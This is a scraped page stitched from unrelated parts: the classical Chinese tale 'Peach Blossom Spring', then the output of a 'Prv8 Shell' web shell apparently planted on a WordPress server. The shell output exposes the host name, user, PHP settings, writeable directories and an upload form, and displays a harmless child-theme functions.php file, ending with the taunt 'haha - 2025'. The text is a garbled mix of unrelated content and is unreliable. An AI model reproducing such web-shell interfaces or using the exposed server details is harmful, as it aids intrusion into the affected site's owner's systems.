晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/tabatabaei/www/wp-content/themes/scapeshot-modern/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/tabatabaei/www/wp-content/themes/scapeshot-modern/functions.php
<?php
/*
 * This is the child theme for Scapeshot Modern theme.
 *
 * (Please see https://developer.wordpress.org/themes/advanced-topics/child-themes/#how-to-create-a-child-theme)
 */
function scapeshot_modern_enqueue_styles() {
    // Include parent theme CSS.
    wp_enqueue_style( 'scapeshot-style', get_template_directory_uri() . '/style.css', null, date( 'Ymd-Gis', filemtime( get_template_directory() . '/style.css' ) ) );
    
    // Include child theme CSS.
    wp_enqueue_style( 'scapeshot-modern-style', get_stylesheet_directory_uri() . '/style.css', array( 'scapeshot-style' ), date( 'Ymd-Gis', filemtime( get_stylesheet_directory() . '/style.css' ) ) );

	// Load the rtl.
	if ( is_rtl() ) {
		wp_enqueue_style( 'scapeshot-rtl', get_template_directory_uri() . '/rtl.css', array( 'scapeshot-style' ), date( 'Ymd-Gis', filemtime( get_template_directory() . '/rtl.css' ) ) );
	}

	$enable_testimonial_slider = scapeshot_check_section( get_theme_mod( 'scapeshot_testimonial_option', 'disabled' ) );
	
    if ( $enable_testimonial_slider ) {
		wp_enqueue_script( 'scapeshot-modern-script', get_stylesheet_directory_uri() . '/assets/js/functions.js', array( 'scapeshot-script' ), date( 'Ymd-Gis', filemtime( get_stylesheet_directory() . '/assets/js/functions.js' ) ), true );
    }
		
}
add_action( 'wp_enqueue_scripts', 'scapeshot_modern_enqueue_styles' );

/**
 * Adds custom classes to the array of body classes.
 *
 * @param array $classes Classes for the body element.
 * @return array
 */
function scapeshot_modern_body_classes( $classes ) {
	// Added color scheme to body class.
	$classes['color-scheme'] = 'color-scheme-modern';

	return $classes;
}
add_filter( 'body_class', 'scapeshot_modern_body_classes', 100 );

/**
 * Change default header text color
 */
function scapeshot_modern_dark_header_default_color( $args ) {
	$args['default-image'] =  get_theme_file_uri( 'assets/images/header-image.jpg' );

	return $args;
}
add_filter( 'scapeshot_custom_header_args', 'scapeshot_modern_dark_header_default_color' );

/**
 * Add testimonial options to theme options
 *
 * @param WP_Customize_Manager $wp_customize Theme Customizer object.
 */
function scapeshot_modern_testimonial_options( $wp_customize ) {
	scapeshot_register_option( $wp_customize, array(
			'name'              => 'scapeshot_testimonial_bg_image',
			'sanitize_callback' => 'scapeshot_modern_sanitize_image',
			'custom_control'    => 'WP_Customize_Image_Control',
			'active_callback'   => 'scapeshot_is_testimonial_active',
			'label'             => esc_html__( 'Background Image', 'scapeshot' ),
			'section'           => 'scapeshot_testimonials',
		)
	);
}
add_action( 'customize_register', 'scapeshot_modern_testimonial_options', 100 );

/**
 * Image sanitization callback example.
 *
 * Checks the image's file extension and mime type against a whitelist. If they're allowed,
 * send back the filename, otherwise, return the setting default.
 *
 * - Sanitization: image file extension
 * - Control: text, WP_Customize_Image_Control
 *
 * @see wp_check_filetype() https://developer.wordpress.org/reference/functions/wp_check_filetype/
 *
 * @param string               $image   Image filename.
 * @param WP_Customize_Setting $setting Setting instance.
 * @return string The image filename if the extension is allowed; otherwise, the setting default.
 */
function scapeshot_modern_sanitize_image( $image, $setting ) {
    /*
     * Array of valid image file types.
     *
     * The array includes image mime types that are included in wp_get_mime_types()
     */
    $mimes = array(
        'jpg|jpeg|jpe' => 'image/jpeg',
        'gif'          => 'image/gif',
        'png'          => 'image/png',
        'bmp'          => 'image/bmp',
        'tif|tiff'     => 'image/tiff',
        'ico'          => 'image/x-icon'
    );
    // Return an array with file extension and mime_type.
    $file = wp_check_filetype( $image, $mimes );
    // If $image has a valid mime_type, return it; otherwise, return the default.
    return ( $file['ext'] ? $image : '' );
}

/**
 * Adds testimonial background CSS
 */
function scapeshot_modern_testimonail_bg_css() {
	$enable   = get_theme_mod( 'scapeshot_testimonial_option', 'disabled' );

	if ( ! scapeshot_check_section( $enable ) ) {
		// Bail if contact section is disabled.
		return;
	}

	$background = get_theme_mod( 'scapeshot_testimonial_bg_image' );

	$css = '';

	if ( $background ) {
		$css = '#testimonial-content-section { background-image: url("' . esc_url( $background ) . '"); }';
	}

	wp_add_inline_style( 'scapeshot-style', $css );
}
add_action( 'wp_enqueue_scripts', 'scapeshot_modern_testimonail_bg_css', 11 );

haha - 2025